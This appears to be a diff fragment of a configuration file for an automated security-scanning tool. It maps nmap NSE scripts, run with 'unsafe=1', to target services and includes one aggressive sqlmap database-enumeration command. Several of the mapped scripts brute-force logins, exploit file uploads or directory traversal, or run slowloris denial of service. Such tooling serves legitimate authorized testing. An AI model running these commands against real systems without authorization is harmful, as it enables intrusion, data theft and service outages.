"nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" -http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" -http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" -http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" -http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" -http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" -http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" -http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" -http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" -http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" -http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" -http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" -http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" -http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" -http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" http-sqlmap=mysql-sqlmap, "sqlmap -v 2 --url=http://[IP] --user-agent=SQLMAP --delay=1 --timeout=15 --retries=2 --keep-alive --threads=5 --eta --batch --level=5 --risk=3 --banner --is-dba --dbs --tables --technique=BEUST -s [OUTPUT] --flush-session -t [OUTPUT] --fresh-queries > [OUTPUT]", mysql -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" 